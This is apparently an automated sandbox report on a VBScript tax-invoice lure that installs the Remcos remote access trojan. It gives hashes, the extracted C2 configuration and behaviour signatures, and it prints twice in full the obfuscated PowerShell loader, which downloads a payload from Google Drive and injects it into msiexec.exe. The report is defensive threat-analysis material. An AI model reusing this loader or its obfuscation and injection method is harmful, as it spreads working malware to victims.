Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2024 07:57
Static task
static1
Behavioral task
behavioral1
Sample
NTS_eTaxInvoice.html.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
NTS_eTaxInvoice.html.vbs
Resource
win10v2004-20240802-en
General
-
Target
NTS_eTaxInvoice.html.vbs
-
Size
82KB
-
MD5
a1aeb49d80b16158b4b88efef30be753
-
SHA1
a7829f01f6a679b9016c1b192431a317827045b1
-
SHA256
adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1
-
SHA512
a15fcfb783b0c8225478f3015a704370f794a59a827e48d32bf537ca27a8cb2a30922278b65475b52f3f0990a5c6d38fca281cf3b3ac44eef92bea1d0811f5a3
-
SSDEEP
1536:s+aCJtE0IliA2cngEAwsi0+lyOFY+UoArilnO7Mu5FYLf:s+aCrpADnWklyOZUoJlnsQLf
Malware Config
Extracted
remcos
RemoteHost
a458386d9.duckdns.org:3256
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
delete_file
false
-
hide_file
true
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
true
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-WDQFG0
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 9 IoCs
flow pid Process 16 1756 powershell.exe 19 1756 powershell.exe 34 1380 msiexec.exe 38 1380 msiexec.exe 43 1380 msiexec.exe 47 1380 msiexec.exe 49 1380 msiexec.exe 57 1380 msiexec.exe 59 1380 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 3700 powershell.exe 1756 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 34 drive.google.com 15 drive.google.com 16 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1380 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3700 powershell.exe 1380 msiexec.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3700 set thread context of 1380 3700 powershell.exe 91 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1756 powershell.exe 1756 powershell.exe 3700 powershell.exe 3700 powershell.exe 3700 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1756 powershell.exe Token: SeDebugPrivilege 3700 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 940 wrote to memory of 1756 940 WScript.exe 82 PID 940 wrote to memory of 1756 940 WScript.exe 82 PID 3700 wrote to memory of 1380 3700 powershell.exe 91 PID 3700 wrote to memory of 1380 3700 powershell.exe 91 PID 3700 wrote to memory of 1380 3700 powershell.exe 91 PID 3700 wrote to memory of 1380 3700 powershell.exe 91 PID 3700 wrote to memory of 1380 3700 powershell.exe 91
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NTS_eTaxInvoice.html.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:1380
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD5c14a20b14aa9b0fb74631576b39f2c3d
SHA15a13e5299e36b29c237518f50c6e6c3cadee6691
SHA2564f39df2d5fa7dd774fa840ad66f18f4585a615f1393514934ff0a033af5dfaa2
SHA51246cc691af5afe581ef5349af11286bcf883737a5b26648d61940bac35d21934abc510ae74d3ab8240d17044f778a6d9da5ea8f07fec04e954d26738b976e50e7
-
Filesize
1KB
MD52d74f3420d97c3324b6032942f3a9fa7
SHA195af9f165ffc370c5d654a39d959a8c4231122b9
SHA2568937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d
SHA5123c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
467KB
MD50f0c12d345508d8f65c3a877c4e3e3ec
SHA1502f251aa8f322f6f7188c83893f1b3bc2e38676
SHA256718b2422aa646cf870c7bf057a9b5d753cb2c6c12ee94c1246b425c9eb61bd5b
SHA512b9b0e97e5a88d0b46913e2f9771cc248727f8cd52b3d7d53679212dcfc6362e3c4b52a5c48ec7babd813ba44bb3ca81c4497d675be6172112e97083784f247bc